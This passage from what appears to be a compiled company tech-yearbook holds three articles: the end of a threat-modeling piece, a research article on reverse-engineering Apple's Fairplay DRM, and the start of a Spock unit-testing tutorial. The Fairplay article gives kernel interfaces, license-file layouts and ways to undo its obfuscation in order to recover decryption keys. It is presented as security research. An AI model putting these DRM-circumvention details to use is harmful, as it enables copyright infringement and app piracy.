	● 覆盖基础设施相对重要的公共组件服务和重要管理平台；

	● 形成一套可复用的安全评审流程，知识库和工具；

	● 及时发现公司管理平台的运营安全类风险，排期止损加固。

通过制定的威胁建模计划同业务部门深入开展合作，团队完成了数十个项目的评估，

发现了数百个高危设计缺陷，从而试图解决两类核心问题：①人为操作导致的安全风

险；②安全融入基础架构。识别提炼出孵化出特权账户管理平台、服务鉴权、执行沙

箱、全程票据、安全知识库等安全子项目。当然建模的效果有好有坏，我们仍需学

习、调整、迭代。我们总结了如下的经验教训：
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	● 关注真实的威胁，从技术威胁入手延伸到业务威胁；

	● 安全没有“银弹”，使用其他应用安全措施补充威胁建模；

	● 见木不见林，致力于高效的建模，而不纠结于细节；

	● 关注安全的沟通协作，改善研发解决安全问题的思维方式，胜于投入精力在安

全测试。

业界关于威胁建模的实施方法论在物联网、机器学习、Serverless 场景依旧很有生

命力，说明在软件工程领域这会是识别威胁真正有效的办法。相信 Threat	Modeling	

Application	Security	Testing（威胁模型驱动的应用安全测试）将成为应用安全的又

一主流安全测试方法。
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Fairplay DRM 与混淆实现的研究

作者：吴聊　落落　朱米

什么是 DRM ？

DRM 全称 Digital	Rights	Management，即数字版权保护。苹果为了保护 App	

Store 分发的音乐 / 视频 / 书籍 /App 免于盗版，开发了 Fairplay	DRM技术，并申

请了很多相关的专利，比较有代表性的如：	-	US8934624B2:	Decoupling	rights	

in	a	digital	content	unit	 from	download	-	US8165286B2:	Combination	white	

box/black	box	cryptographic	processes	and	apparatus	-	ES2373131T3:	Safe	

distribution	of	content	using	descifrado	keys

长久以来，关于App	DRM的研究很少，而DRM的关键是授权和加密。破解 Fair-

play	DRM加密的方式俗称“砸壳”，这是进行 iOS	App 安全研究的必要前提。自从

2013 年苹果引入App	DRM机制以后，诞生了如Cluth、Bagbak、Flexdecrypt 这

样的经典“砸壳工具”，而此类“砸壳工具”通常需要越狱设备的支持，因此具有一

定的局限性。

2020 年发布的M1	Mac 将 Fairplay	DRM机制引入了MacOS，由于Mac 设备的

权限没有 iOS 严格，因此我们得以在MacOS 上探索更多 Fairplay	DRM的原理，

最终目标是使解密流程不受Apple 平台的限制。下面，我们先来聊聊Apple 中是如

何实现的？

Apple 上 DRM 的实现：Fairplay DRM 

LC_ENCRYPTION_INFO 中的标记

加密的MachO含有 LC_ENCRYPTION_INFO字段，其中 cryptoff 标识了加密部

分在文件中的起始偏移，cryptsize 标识了加密部分的尺寸，cryptid 则表明了加密的

方法。Fairplay	DRM保护下的App，其加密尺寸为4096的倍数，加密方式标识为 1。

https://patents.google.com/patent/US8934624B2
https://patents.google.com/patent/US8934624B2
https://patents.google.com/patent/US8165286B2
https://patents.google.com/patent/US8165286B2
https://patents.google.com/patent/ES2373131T3
https://patents.google.com/patent/ES2373131T3
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图 1

而负责解密 Mach-O 的组件主要包括：内 核 态 的 FairplayIOKit 和 用 户 态 的

fairplayd。

Fairplay 的 Open

MacOS 的 XNU	Kernel 中 有 text_crypter_create_hook 这 个 导 出 符 号，

IOTextEncryptionFamily 驱动则注册了这个Hook，并作为桥梁，将调用转发给了

FairplayIOKit 内核驱动。

图 2
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最终负责处理的函数是：

com_apple_driver_FairPlayIOKit::xhU6d1(
  char const* executable_path,
  long long cpu_type,
  long long cpu_subtype,
  rp6S0jzg** out_handle
)

此后，内核中的 FairplayIOKit 开始初始化，通过 host_get_special_port 中的

unfreed	port 发送MIG 调用到用户态的 fairplayd，fairplayd 开始处理 SC_Info 目

录下的 sinf 和 supp 文件，并将处理的数据返回给内核中的FairplayIOKit。

注：用户态的 fairplayd 具体工作流程不在本文讨论范围内。

其中MIG调用的结构如下：

struct FPRequest{
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool;
    NDR_record_t ndr;
    uint32_t size;
    uint64_t cpu_type;
    uint64_t cpu_subtype;
};

struct FPResponse{
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool1; //supf文件映射
    mach_msg_ool_descriptor_t ool2; //unk，正比与加密内容的尺寸
    uint64_t unk1;
    uint8_t unk2[136];
    uint8_t unk3[84];
    uint32_t size1;
    uint32_t size2;
    uint64_t unk5;
};

完成所有调用后，返回的结构 rp6S0jzg* 实际是一个 uint32_t 类型的 handle，接下

来则可以用这个 handle 来完成解密操作。
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Fairplay 的 Decrypt Page

前面提到的 Fairplay	Open 操作最终返回了一个 pager_crypt_info 的结构体，其

中 page_decrypt 的 Hook 由 IOTextEncryptionFamily 驱动接管，并最终转发给

FairplayIOKit。

图 3

最后，FairplayIOKit 中负责解密的函数定义如下：

com_apple_driver_FairPlayIOKit::bvqhJ(
  rp6S0jzg *hanlde,
  unsigned long long offset,
  unsigned char const* src,
  unsigned char * dst
)

至此，Fairplay 的解密逻辑完成调用。值得注意的是，在 Fairplay	DRM中，page

的概念为 4096bytes。

那么，用户态 fairplayd 处理的 sinf 和 supp 文件又是什么样子的呢？
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SINF 和 SUPF 文件

结构

用户态的 fairplayd 会读取随 IPA 携带的两个重要文件：SINF 和 SUPF，存储在

App的 SC_Info 目录下。

图 4

其中 SUPF 文件和 IPA 一起分发，每个用户的 IPA 和 SUPF 文件都是一致的，其

中SUPF文件中保存了加密Mach-O的密钥，但是密钥本身被另外的机制加密。而

SINF 文件则作为每个用户的DRM许可，记录了购买用户的标识符和姓名，以及解

密 SUPF 需要的信息，因此在 Sandbox 策略下，App 无法读取自身的 SINF 文

件，以防止其被作为唯一 ID 追踪用户。

SINF

SINF 文件是一个 LTV+KV结构的文件，它的字段如下所示：

sinf.frma: game
sinf.schm: itun
sinf.schi.user: 0xdeadbeef
sinf.schi.key : 0x00000005
sinf.schi.iviv: 0x12345678901234567890123456789012
sinf.schi.righ.veID: 0x000007d3
sinf.schi.righ.plat: 0x00000000
sinf.schi.righ.aver: 0x01010100
sinf.schi.righ.tran: 0xdc64f80c
sinf.schi.righ.sing: 0x00000000
sinf.schi.righ.song: 0x59a73c58
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sinf.schi.righ.tool: P550
sinf.schi.righ.medi: 0x00000080
sinf.schi.righ.mode: 0x00002000
sinf.schi.righ.hi32: 0x00000004
sinf.schi.name: User Name
sinf.schi.priv: (432 Bytes Private Key)
sinf.sign: (128 Bytes Private)

SUPF

SUPF文件主要分为三个部分，我们将其命名为Key	Segments、Fairplay	Certifi-

cate、RSA	Signature，其中Key	Segments 可以含有多个子Segment，用来保存

多个架构的解密信息。

KeyPair Segments:
 Segment 0x0: arm64, Keys: 0x36c/4k, sha1sum = 
e369546960d805dd1188d42e3350430c7e3a0025

Fairplay Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            33:33:af:08:07:08:af:00:01:af:00:00:10
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=Apple Inc., OU=Apple Certification Authority, 
CN=Apple FairPlay Certification Authority
        Validity
            Not Before: Jul  8 00:48:29 2008 GMT
            Not After : Jul  7 00:48:29 2013 GMT
        Subject: C=US, O=Apple Inc., OU=Apple FairPlay, 
CN=AP.3333AF080708AF0001AF000010
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (1024 bit)
                Modulus:
                    00:b0:01:16:4b:62:b2:37:8d:60:12:4f:02:15:15:
                    a0:32:1b:e8:ed:44:ed:e9:17:5b:ec:9e:5d:11:24:
                    5a:66:2f:dc:a3:25:aa:52:70:e1:09:22:09:4b:65:
                    0f:67:f5:82:dc:af:78:9b:4c:45:f3:b4:f4:77:aa:
                    fc:a3:b2:84:c3:8b:09:c6:2e:55:f5:14:85:07:ac:
                    ae:0d:ff:ff:ca:41:3b:44:cb:52:b6:28:60:55:23:
                    35:8d:26:71:c6:12:a5:e0:72:58:09:3c:4a:9e:b6:
                    63:df:2a:91:94:27:eb:65:0a:b2:36:45:11:c1:91:
                    43:58:12:d9:e5:18:a1:ad:db
                Exponent: 65537 (0x10001)
        X509v3 extensions:
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            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment, Data Encipherment, 
Key Agreement
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Subject Key Identifier: 
                7B:07:34:81:A5:75:D0:F6:11:BB:D2:36:3F:79:93:4B:A1:70:EB:CF
            X509v3 Authority Key Identifier: 
                keyid:FA:0D:D4:11:91:1B:E6:B2:4E:1E:06:49:94:11:DD:63:62:07:59:64

    Signature Algorithm: sha1WithRSAEncryption
         06:11:4e:87:ed:b1:08:70:c2:0d:e4:d2:94:bb:7f:ee:50:18:
         c0:2a:21:34:0e:99:1f:bf:60:a2:58:d0:0c:28:3d:03:5b:ab:
         4e:72:69:ba:41:52:45:b2:29:27:4a:c8:ba:7f:b5:9b:63:78:
         b1:68:41:40:59:3f:05:8a:57:74:c5:63:30:cc:f3:20:41:c0:
         3c:65:d4:0d:22:47:f3:97:76:e6:d6:3c:eb:e7:20:78:10:59:
         fd:96:09:82:c3:41:f0:5f:d0:3e:91:44:6d:77:3f:a5:d9:da:
         f0:f7:53:ad:94:61:28:1c:4c:40:3b:17:2b:dd:e3:00:df:77:
         71:22

RSA Signature: 6aeb00124d62f75f5761f7c26ec866a061f0776be7e84bfad4b6a1941d
bddfdb3bd1afdcc5ef305877fa5bee41caa37b1a9d4ce763cf7d2cb89efa60660a49dd5dd
ff0f46eee7cd916d382f727d912e82b6e0a62e8110c195e298481aa8c8162faac066ef017
c6c2c508700d7adb57e0c988af437621e698946da1b09adf89e9

下面，我们来聊聊Fairplay	DRM的混淆原理和实现。

混淆原理和一些实现

LLVM Pass

LLVM是一个优良的编译器框架，其中，我们可以将其大略的分为前端、中端、后端：

图 5
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配图节选自CMU的CS	15-745 课程：https://www.cs.cmu.edu/~15745。

前端负责将高级语言转化为 LLVM	IR；中端处理 LLVM	IR，完成一系列的分析、优

化任务，我们称之为Pass，再次输出 LLVM	IR；后端则负责将 LLVM	IR 转化为机

器码。其中，中端的玩法特别丰富，基本的优化任务：如死代码消除、常量折叠都在

这一部分完成；Address	Sanitizer、PC	Sanitizer 等编译器插桩也是在这里进行的；

其他的混淆框架如讨论的较多的 ollvm 以及Hikari，甚至包括苹果的混淆机制，也都

是基于此完成。

这一混淆方式可以基本的分为控制流混淆和数据流混淆，除此之外的一些混淆方式，

比如VMP等，不在本文讨论范围内。

makeOpaque

在编译器中，为了防止一些具体的表达式被优化，我们会将表达式进行等价变化，我

们暂时将这样的操作定义为 makeOpaque（如Safari 的 JavascriptCore，其 JIT

组件 B3就提供这样的机制），C++伪代码如下：

Expression* makeOpaque(Expression *in);

不透明谓词（Opaque Predicate）

谓词（Predicate）在计算机中，指的是执行后为 True 或 False 的表达式。数论里面

的一些结论可以作为我们生成不透明谓词的基础，这些不透明谓词的结果恒为 True

或恒为 False。比如下列表达式中，y执行的结果就恒为 True：

uint32_t x = 0;
bool y = ((x * x % 4) == 0 || (x * x % 4) == 1);

不透明谓词应用到混淆中的一个例子就是 bogus	CFG。	如源语句如下：

foo1();
foo2();
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经过变换，我们添加了一个虚假的分支（即 bogus	CFG）	：

foo1();
if ( false )
  junk_code();
else
  foo2();

但是如果没有经过特别处理，编译器、反编译器的死代码消除就会将虚假分支去除

掉，因此我们需要makeOpaque 的引入，假设我们引入了前面示例中的表达式：

foo1();
uint32_t x = rand();
bool y = ((x * x % 4) == 0 || (x * x % 4) == 1);
if ( !y )
  junk_code();
else
  foo2();

那么如果编译器、反编译器没有相应的识别机制的话，这一部分的死代码就保留了下

来，通过在死代码里面插入大量干扰指令，可以为逆向的人员带来极大的困扰。经测

试在 -O2优化下，Clang	11 已经可以识别这个规则，但是GCC	5.4 无法识别。

可逆变换

这里我们介绍一下目前混淆技术中常用的等价变换方式。

异或

异或规则是最常见的变换，这里不再赘述。

x ^ c ^ c = x;

仿射变换（Affine transformation）

我们先来看一下仿射函数。
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下面我们来看一下实际应用。

由于计算机中的运算属于隐式的模运算，因此会具有一些有意思的性质。如对于一个

uint32 上的运算，模运算逆元定义如下：

//对于
uint32_t a, r_a;

//如果满足
(a * r_a) % UINT32_MAX == 1;

//那么 a 和 r_a 互为模反元素

对于互为模反元素的 a和 r_a（可通过扩展欧几里得算法求得），有这样的特性：

uint32_t x = rand();
uint32_t y1 = a * x + c;
//那么满足
x == ra * y1 +  (- ra * c)

最后举个例子来说明：

//对于互为模反元素的 4872655123 * 3980501275，取
uint32_t x = 0xdeadbeef;
uint32_t c = 0xbeefbeef;
//则 -ra * c = 0x57f38dcb，且
((x * 4872655123) + 0xbeefbeef) * 3980501275 + 0x57f38dcb == x
/*
可在 lldb中验证如下
(lldb) p/x uint32_t x=0xdeadbeef; (uint32_t)(((x * 4872655123) + 
0xbeefbeef) * 3980501275 + 0x57f38dcb)
(uint32_t) $8 = 0xdeadbeef
*/
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MBA 表达式（Mixed Boolean-Arithmetic Expression）

MBA表达式是把算术运算（+，-，*，/）和位运算（&，|，~）混合在一起用以隐藏

原本表达式的混淆方法。它基于不同的数学原理存在多种形式，这里主要介绍多项式

MBA，这是目前混淆技术中最常遇到的形式。

类似的，在Fairplay 混淆中用到的MBA表达式为：

//OperationSet(+, -, *, &, |, ~)
x - c = (x ^ ~c) + ((2 * x) & ~(2 * c + 1)) + 1;

而使用MBA进行混淆操作主要依靠以下两个步骤：

不透明常量（Opaque Constant）

不透明常量是基于MBA混淆的方法，用于隐藏数据流中的常量。它使用了置换多项

式，是一种在有限域上的可逆多项式。
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控制流平坦化

这一部分是逆向工程中讨论的最热门的话题，即将正常的控制流转换等价替换为一个

状态机，从而干扰静态的控制流分析，业界也有较多的解决方案。同时因为 Fairplay	

DRM中没有明显用到这种类型的混淆，不再多讨论。

非直接跳转（Indirect Branch）

将一些基本块的起始地址保存在全局变量中，通过不透明常量的生成，使得反汇编工

具和肉眼无法直接获取到基本块跳转的目标，模型如下：

//记录基本块地址到全局查找表 LUT
LUT[i] = PC;

//执行跳转
jmp/call LUT[makeOpaque(i)]

具体的实例：

图 6
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这样，逆向人员就无法直接获取跳转的目标函数、基本块了。同理，通过将判断语句

的条件映射到跳转表，也可以实现对条件跳转的混淆。

所以，在逆向被混淆的 Fairplay 代码时，IDA Pro 大多数时刻，只能识别出来函数

的第一个基本块，无法分析出函数的边界。

跨函数混淆 + 调用约定混淆

正常情况下，编程语言如C语言的参数传递遵循特定的调用约定，但是部分混淆工具

会对一些内部函数的调用约定进行修改，以Fairplay	DRM为例：

图 7

我们可以看到常规的以寄存器和栈传递参数的方式被替换成了以堆传递参数的方式

了，在构造好了结构体的情况下，这个参数传递的特征可以被清晰的看出来。同时，

这里面对一些传递的参数进行了异或混淆，在子函数里面再恢复出来，使得我们难以

直接得到原始数据，而静态分析的工具比如 IDA	Pro 也不支持跨函数的数据流分析。

更严重的是，一些影响子函数运行的重要依赖数据，被提升到了父函数内，导致在没

有恢复调用关系前，我们根本无法推测子函数的运行流程。
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那么，Fairplay	DRM的破解之道就是要找到它的弱点。

Fairplay 混淆的弱点

通过前边的工作，我们已经能 Fairplay 正常的完成打开和解密工作了，通过一系列

的静态分析和追踪调试，我们发现了这一套混淆系统的一些对抗方案。

这些问题的本质原因是：混淆系统在 IR 层面设计，对机器相关的部分操作没有混淆，

因此在生成的机器码里面，我们可以推断得到混淆前的一些特征信息。

函数边界识别

前面提到，由于 Fairplay 用到了非直接跳转的混淆技术，IDA	Pro 无法直接分析函

数的边界。通过跟踪，我们发现在 arm64e 设备下，该内核驱动中，同一个函数的

所有基本块在运行到跳转指令时，均使用了同一个PAC	Context，或者称之为PAC	

Modifier。

图 8

借由这个特性，我们可以将函数的边界和基本块分组，尽管目前为止这些基本块之间
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并不是连通的。

非直接跳转

对于无条件跳转，我们通过设置断点跟踪执行流，就可以解决了。

图 9

再通过KeyPatch这样的工具，我们可以将一些简单的函数恢复到比较易于理解的地步。

图 10
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但是这里的难点在于恢复混淆里面的非直接跳转指令，如下图所示：

图 11

对于这个跳转指令，我们可以生成如下的表达式：

//cmp x0, #0
w10 = qword[x12 + (EQ * 0xB + w19) << 3]
//0xB代表两个基本块的在 LUT中的下标差

通过CSET指令的形式，我们已经可以推断跳转指令应该是 J.NE或者 J.EQ了，通

过我们的调试器插件，我们可以得到其中一个分支的跳转地址和原本的跳转指令，再

通过表达式的信息，我们可以很快推断出另外一个分支的地址。
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图 12

再通过Keypatch，我们可以得到混淆前的分支语句结构：

图 13

至此，我们已经可以完整地恢复Fairplay 的大多数控制流了。
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数据流混淆

这一部分在前面已经提及到了一些，目前我们已经找到了MBA表达式的模式，但还

没能找到 Fairplay 中生成不透明常量的完整规则。其中MBA表达式的重写规则目前

看起来仅有一个，即：

x - c = (x ^ ~c) + ((2 * x) & ~(2 * c + 1)) + 1;

一些基于模式匹配的工具，比如D810 已经可以比较好的处理这样的情况了。

结束语

目前，我们已经可以获取到解密每一段Mach-O的 AES密钥了，通过大量的调试

和反混淆，我们已经得出了这些密钥生成的初步结论。我们希望最终的目的是不依赖

Apple 设备的前提下，完成Fairplay	DRM加解密的研究。

图 14
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最后，附上源码，欢迎大家进行参考和研究。
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reconstruction,	analysis	and	simplification	tools	(Doctoral	dissertation,	Université	

Paris-Saclay)

	● https://github.com/obfuscator-llvm/obfuscator

	● https://github.com/HikariObfuscator/Hikari

	● https://github.com/keystone-engine/keypatch

	● https://eshard.com/posts/d810_blog_post_1

作者简介
吴聊、落落、朱米，均来自美团信息安全部。

https://github.com/obfuscator-llvm/obfuscator
https://github.com/HikariObfuscator/Hikari
https://github.com/keystone-engine/keypatch
https://eshard.com/posts/d810_blog_post_1
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Spock 单元测试框架介绍以及在美团优选的实践

作者：建华

1. 背景

	XML 之父 Tim	Bray 最近在博客里有个好玩的说法：“代码不写测试就像上了厕所不

洗手……单元测试是对软件未来的一项必不可少的投资。”具体来说，单元测试有哪

些收益呢？

	● 它是最容易保证代码覆盖率达到 100%的测试。

	● 可以大幅降低上线时的紧张指数。

	● 单元测试能更快地发现问题（见下图左）。

	● 单元测试的性价比最高，因为错误发现的越晚，修复它的成本就越高，而且难

度呈指数式增长，所以我们要尽早地进行测试（见下图右）。

	● 编码人员，一般也是单元测试的主要执行者，是唯一能够做到生产出无缺陷程

序的人，其他任何人都无法做到这一点。

	● 有助于源码的优化，使之更加规范，快速反馈，可以放心进行重构。

pic2

这张图来自微软的统计数据：Bug在单

元测试阶段被发现，平均耗时 3.25 小

时，如果漏到系统测试阶段，要花费

11.5 小时。

这张图，旨在说明两个问题：85%的缺陷都在代码设计

阶段产生，而发现Bug的阶段越靠后，耗费成本就越高，

指数级别的增高。
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尽管单元测试有如此的收益，但在我们日常的工作中，仍然存在不少项目它们的单元

测试要么是不完整要么是缺失的。常见的原因总结如下：代码逻辑过于复杂；写单元

测试时耗费的时间较长；任务重、工期紧，或者干脆就不写了。

基于以上问题，相较于传统的 JUnit 单元测试，今天为大家推荐一款名为Spock 的

测试框架。目前，美团优选物流技术团队绝大部分后端服务已经采用了Spock 作为

测试框架，在开发效率、可读性和维护性方面取得了不错的收益。

不过网上Spock 资料比较简单，甚至包括官网的Demo，无法解决我们项目中复杂

业务场景面临的问题，通过深入学习和实践之后，本文会将一些经验分享出来，希望

能够帮助大家提高开发测试的效率。

2. Spock 是什么？和 JUnit、jMock 有什么区别？

Spock 是一款国外优秀的测试框架，基于 BDD（行为驱动开发）思想实现，功能非

常强大。Spock 结合 Groovy 动态语言的特点，提供了各种标签，并采用简单、通

用、结构化的描述语言，让编写测试代码更加简洁、高效。官方的介绍如下：

What	 is	 it?	Spock	is	a	testing	and	specification	framework	for	Java	and	

Groovy	applications.	What	makes	it	stand	out	from	the	crowd	is	its	beau-

tiful	and	highly	expressive	specification	 language.	Thanks	 to	 its	JUnit	

runner,	Spock	is	compatible	with	most	IDEs,	build	tools,	and	continuous	

integration	servers.	Spock	is	inspired	from	JUnit,	RSpec,	jMock,	Mockito,	

Groovy,	Scala,	Vulcans,	and	other	fascinating	life	forms.

https://en.wikipedia.org/wiki/Behavior-driven_development
https://spockframework.org/
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Spock 是一个 Java 和 Groovy` 应用的测试和规范框架。之所以能够在众多测试框

架中脱颖而出，是因为它优美而富有表现力的规范语言。Spock 的灵感来自 JUnit、

RSpec、jMock、Mockito、Groovy、Scala、Vulcans。

简单来讲，Spock 主要特点如下：

	● 让测试代码更规范，内置多种标签来规范单元测试代码的语义，测试代码结构

清晰，更具可读性，降低后期维护难度。

	● 提 供 多 种 标 签， 比 如：given、when、then、expect、where、with、

thrown……帮助我们应对复杂的测试场景。

	● 使用Groovy 这种动态语言来编写测试代码，可以让我们编写的测试代码更简

洁，适合敏捷开发，提高编写单元测试代码的效率。

	● 遵从 BDD（行为驱动开发）模式，有助于提升代码的质量。

	● IDE 兼容性好，自带Mock 功能。

为什么使用 Spock ？ Spock 和 JUnit、jMock、Mockito

的区别在哪里？

总的来说，JUnit、jMock、Mockito 都是相对独立的工具，只是针对不同的业务场景

提供特定的解决方案。其中 JUnit 单纯用于测试，并不提供Mock 功能。

我们的服务大部分是分布式微服务架构。服务与服务之间通常都是通过接口的方式进

行交互。即使在同一个服务内也会分为多个模块，业务功能需要依赖下游接口的返回

数据，才能继续后面的处理流程。这里的下游不限于接口，还包括中间件数据存储比

如Squirrel、DB、MCC配置中心等等，所以如果想要测试自己的代码逻辑，就必须

把这些依赖项Mock 掉。因为如果下游接口不稳定可能会影响我们代码的测试结果，

让下游接口返回指定的结果集（事先准备好的数据），这样才能验证我们的代码是否正

确，是否符合逻辑结果的预期。

尽管 jMock、Mockito 提供了Mock 功能，可以把接口等依赖屏蔽掉，但不能对静态

方法Mock。虽然PowerMock、jMockit 能够提供静态方法的Mock，但它们之间也

https://en.wikipedia.org/wiki/Behavior-driven_development
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需要配合（JUnit	+	Mockito	PowerMock）使用，并且语法上比较繁琐。工具多了就

会导致不同的人写出的单元测试代码“五花八门”，风格相差较大。

Spock 通过提供规范性的描述，定义多种标签（given、when、then、where等），

去描述代码“应该做什么”，“输入条件是什么”，“输出是否符合预期”，从语义层面

规范了代码的编写。

Spock 自带Mock 功能，使用简单方便（也支持扩展其他Mock 框架，比如Power-

Mock），再加上Groovy 动态语言的强大语法，能写出简洁高效的测试代码，同时能

方便直观地验证业务代码的行为流转，增强工程师对代码执行逻辑的可控性。

3. 使用 Spock 解决单元测试开发中的痛点

如果在（if/else）分支很多的复杂场景下，编写单元测试代码的成本会变得非常高，

正常的业务代码可能只有几十行，但为了测试这个功能覆盖大部分的分支场景，编写

的测试代码可能远不止几十行。

之前有遇到过某个功能上线很久一直都很正常，没有出现过问题，但后来有个调用请

求的数据不一样，走到了代码中一个不常用的逻辑分支时，出现了Bug。当时写这段

代码的同学也认为只有很小几率才能走到这个分支，尽管当时写了单元测试，但因为

时间比较紧张，分支又多，就漏掉了这个分支的测试。

尽管使用 JUnit 的@Parametered 参数化注解或者DataProvider 方式可以解决多

数据分支问题，但不够直观，而且如果其中某一次分支测试Case 出错了，它的报错

信息也不够详尽。

这就需要一种编写测试用例高效、可读性强、占用工时少、维护成本低的测试框架。

首先不能让业务人员排斥编写单元测试，更不能让工程师觉得写单元测试是在浪费时

间。而且使用 JUnit 做测试工作量不算小。据初步统计，采用 JUnit 的话，它的测试

代码行和业务代码行能到 3:1。如果采用Spock 作为测试框架的话，它的比例可缩减

到 1:1，能够大大提高编写测试用例的效率。
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下面借用《编程珠玑》中一个计算税金的例子。

public double calc(double income) {
        BigDecimal tax;
        BigDecimal salary = BigDecimal.valueOf(income);
        if (income <= 0) {
            return 0;
        }
        if (income > 0 && income <= 3000) {
            BigDecimal taxLevel = BigDecimal.valueOf(0.03);
            tax = salary.multiply(taxLevel);
        } else if (income > 3000 && income <= 12000) {
            BigDecimal taxLevel = BigDecimal.valueOf(0.1);
            BigDecimal base = BigDecimal.valueOf(210);
            tax = salary.multiply(taxLevel).subtract(base);
        } else if (income > 12000 && income <= 25000) {
            BigDecimal taxLevel = BigDecimal.valueOf(0.2);
            BigDecimal base = BigDecimal.valueOf(1410);
            tax = salary.multiply(taxLevel).subtract(base);
        } else if (income > 25000 && income <= 35000) {
            BigDecimal taxLevel = BigDecimal.valueOf(0.25);
            BigDecimal base = BigDecimal.valueOf(2660);
            tax = salary.multiply(taxLevel).subtract(base);
        } else if (income > 35000 && income <= 55000) {
            BigDecimal taxLevel = BigDecimal.valueOf(0.3);
            BigDecimal base = BigDecimal.valueOf(4410);
            tax = salary.multiply(taxLevel).subtract(base);
        } else if (income > 55000 && income <= 80000) {
            BigDecimal taxLevel = BigDecimal.valueOf(0.35);
            BigDecimal base = BigDecimal.valueOf(7160);
            tax = salary.multiply(taxLevel).subtract(base);
        } else {
            BigDecimal taxLevel = BigDecimal.valueOf(0.45);
            BigDecimal base = BigDecimal.valueOf(15160);
            tax = salary.multiply(taxLevel).subtract(base);
        }
        return tax.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue();
    }

能够看到上面的代码中有大量的 if-else语句，Spock 提供了 where 标签，可以

让我们通过表格的方式来测试多种分支。

@Unroll
def "个税计算 ,收入 :#income, 个税 :#result"() {
  expect: "when + then 的组合 "
  CalculateTaxUtils.calc(income) == result
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  where: "表格方式测试不同的分支逻辑 "
  income || result
  -1     || 0
  0      || 0
  2999   || 89.97
  3000   || 90.0
  3001   || 90.1
  11999  || 989.9
  12000  || 990.0
  12001  || 990.2
  24999  || 3589.8
  25000  || 3590.0
  25001  || 3590.25
  34999  || 6089.75
  35000  || 6090.0
  35001  || 6090.3
  54999  || 12089.7
  55000  || 12090
  55001  || 12090.35
  79999  || 20839.65
  80000  || 20840.0
  80001  || 20840.45
}
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上图中左边使用Spock 写的单元测试代码，语法简洁，表格方式测试覆盖分支场景

更加直观，开发效率高，更适合敏捷开发。

单元测试代码的可读性和后期维护

我们微服务场景很多时候需要依赖其他接口返回的结果，才能验证自己的代码逻辑。

Mock 工具是必不可少的。但 jMock、Mockito 的语法比较繁琐，再加上单元测试代

码不像业务代码那么直观，又不能完全按照业务流程的思路写单元测试，这就让不少

同学对单元测试代码可读性不够重视，最终导致测试代码难以阅读，维护起来更是难

上加难。甚至很多同学自己写的单元测试，过几天再看也一样觉得“云里雾里”的。

也有改了原来的代码逻辑导致单元测试执行失败的；或者新增了分支逻辑，单元测试

没有覆盖到的；最终随着业务的快速迭代单元测试代码越来越难以维护。

Spock 提供多种语义标签，如：given、when、then、expect、where、with、

and等，从行为上规范了单元测试代码，每一种标签对应一种语义，让单元测试代码

结构具有层次感，功能模块划分更加清晰，也便于后期的维护。

Spock 自带Mock 功能，使用上简单方便（Spock 也支持扩展第三方Mock 框架，

比如PowerMock）。我们可以再看一个样例，对于如下的代码逻辑进行单元测试：

public StudentVO getStudentById(int id) {
        List<StudentDTO> students = studentDao.getStudentInfo();
        StudentDTO studentDTO = students.stream().filter(u -> u.getId() 
== id).findFirst().orElse(null);
        StudentVO studentVO = new StudentVO();
        if (studentDTO == null) {
            return studentVO;
        }
        studentVO.setId(studentDTO.getId());
        studentVO.setName(studentDTO.getName());
        studentVO.setSex(studentDTO.getSex());
        studentVO.setAge(studentDTO.getAge());
        // 邮编
        if ("上海 ".equals(studentDTO.getProvince())) {
            studentVO.setAbbreviation("沪 ");
            studentVO.setPostCode("200000");
        }
        if ("北京 ".equals(studentDTO.getProvince())) {
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            studentVO.setAbbreviation("京 ");
            studentVO.setPostCode("100000");
        }
        return studentVO;
    }

比较明显，左边的 JUnit 单元测试代码冗余，缺少结构层次，可读性差，随着后续

的迭代，势必会导致代码的堆积，维护成本会变得越来越高。右边的单元测试代码

Spock 会强制要求使用 given、when、then这样的语义标签（至少一个），否则编

译不通过，这样就能保证代码更加规范，结构模块化，边界范围清晰，可读性强，便

于扩展和维护。而且使用了自然语言描述测试步骤，让非技术人员也能看懂测试代码

（given表示输入条件，when触发动作，then验证输出结果）。

Spock 自带的Mock 语法也非常简单：dao.getStudentInfo() >> [student1, 

student2]。

两个右箭头 >>表示模拟 getStudentInfo接口的返回结果，再加上使用的

Groovy 语言，可以直接使用 []中括号表示返回的是 List类型。

单元测试不仅仅是为了统计代码覆盖率，更重要的是验证业务

代码的健壮性、业务逻辑的严谨性以及设计的合理性

在项目初期阶段，可能为了追赶进度而没有时间写单元测试，或者这个时期写的单元测

试只是为了达到覆盖率的要求（比如为了满足新增代码行或者分支覆盖率统计要求）。



86　>　2021年美团技术年货

很多工程师写的单元测试基本都是采用 Java 这种强类型语言编写，各种底层接口的

Mock 写起来不仅繁琐而且耗时。这时的单元测试代码可能就写得比较粗糙，有粒度

过大的，也有缺少单元测试结果验证的。这样的单元测试对代码的质量帮助不大，更

多是为了测试而测试。最后时间没少花，可效果却没有达到。

针对有效测试用例方面，我们测试基础组件组开发了一些检测工具（作为抓手），比

如去扫描大家写的单元测试，检测单元测试的断言有效性等。另外在结果校验方面，

Spock 表现也是十分优异的。我们可以来看接下来的场景：void方法，没有返回结

果，如何写测试这段代码的逻辑是否正确？

如何确保单元测试代码是否执行到了 for循环里面的语句，循环里面的打折计算又是

否正确呢？

  public void calculatePrice(OrderVO order){
        BigDecimal amount = BigDecimal.ZERO;
        for (SkuVO sku : order.getSkus()) {
            Integer skuId = sku.getSkuId();
            BigDecimal skuPrice = sku.getSkuPrice();
            BigDecimal discount = BigDecimal.valueOf(discountDao.
getDiscount(skuId));
            BigDecimal price = skuPrice * discount;
            amount = amount.add(price);
        }
        order.setAmount(amount.setScale(2, BigDecimal.ROUND_HALF_DOWN));

    }

如果用Spock 写的话，就会方便很多，如下图所示：
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这里，2 * discountDao.getDiscount(_) >> 0.95 >> 0.8	在 for循环中

一共调用了 2次，第一次返回结果 0.95，第二次返回结果 0.8，最后再进行验证，类

似于 JUnit 中的 Assert 断言。

这样的收益还是比较明显的，不仅提高了单元测试的可控性，而且方便验证业务代码

的逻辑正确性和合理性，这也是BDD思想的一种体现。

4. Mock 模拟

